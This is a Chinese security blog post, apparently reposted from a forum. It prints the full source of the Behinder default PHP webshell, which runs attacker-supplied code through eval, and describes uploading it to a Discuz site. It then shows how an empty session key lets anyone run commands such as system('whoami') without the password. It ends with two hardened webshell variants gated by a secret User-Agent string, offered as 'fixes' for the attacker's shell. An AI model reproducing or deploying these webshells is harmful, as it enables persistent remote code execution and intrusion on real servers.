【雜項】繞過冰蠍默認php馬子密碼,執行命令


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

繞過冰蠍默認php馬子密碼,執行命令

0x02 產生原因

0x03 復現

0x04 修復方案


 

原文第一篇來自:https://www.t00ls.net/articles-56337.html             作者:kl_520

PS:膜拜tools 的大佬們

繞過冰蠍默認php馬子密碼,執行命令

冰蠍默認php 馬:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

本地搭建Discuz 環境,直接將WebShell.php 上傳到update 目錄下

冰蠍馬子我用的是現在最新版本2.0.1 版本,馬子在server 文件下,文件名爲shell.php,我上傳的時候改爲了webshell.php

訪問頁面是這樣的,狀態碼顯示200

砸門啥也不管,直接上冰蠍連接,輸入webshell地址+默認webshell 密碼,其它保持默認不用管,點擊【保存】按鈕

成功鏈接上

0x02 產生原因

當有get有參數pass時,隨機一個密碼給session[k]並打印出來

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

如果get沒有參數pass時,讀取session[k] 來當作解密的密鑰,接收 put 的數據,解密然後通過 | 分割執行。

{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
                
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15]; 
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}

此時我們最開始時不要訪問 shell.php?pass=1 那麼seesion[k]就不會被賦值,也就是空。
記住千萬不要訪問,如果訪問了清空緩存再試,通過 openssl_encrypt('|phpinfo();','AES128','');  加密phpinfo。// key值 爲空
然後echo 加密後的值,post 提交給冰蠍馬。那麼phpinfo();也會被執行成功,即可不需要密碼就能連接默認冰蠍php馬的webshell。

 

0x03 復現

我的電腦環境就是復現不成功,不知道爲啥.... ....扯淡,弄半天了,朋友跟我思路一樣,步驟也一樣爲什麼就復現不出來... ...,無語

此處,盜用它的圖來做演示好了

首先

<?php
    openssl_encrypt('|phpinfo();','AES128',''); 
?>

得到加密後的phpinfo:4eNW........

執行phpinfo

執行whoami 

<?php
    openssl_encrypt('|system("whoami");','AES128',''); 
?>

 

 

0x04 修復方案

自己改吧

這裏提供tools上大佬們提供的解決方案

第一種:

連接的時候把UA設置成:123321666 

PS:但通過UA 特徵會比較明顯

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
                
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15]; 
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
}
?>

第二種:

判斷seesion

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{  
$key=substr(md5(uniqid(rand())),16);  
$_SESSION['k']=$key;  
print $key;
}
else if (!empty($_SESSION['k']))
{  
$key=$_SESSION['k'];  
$post=file_get_contents("php://input").'';
  if(!extension_loaded('openssl'))  
{      
$t="base64_"."decode";
      $post=$t($post."");
            for($i=0;$i<strlen($post);$i++) 
{         
$post[$i] = $post[$i]^$key[$i+1&15];
           
}  }  
else  
{      
$post=openssl_decrypt($post, "AES128", $key);
  }
if($_SERVER['HTTP_USER_AGENT'] == '123321666')
{  
$arr=explode('|',$post);  $func=$arr[0];
  $params=$arr[1];
  @eval($params);
}
}
?>

參考鏈接:

               https://www.t00ls.net/articles-56337.html


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章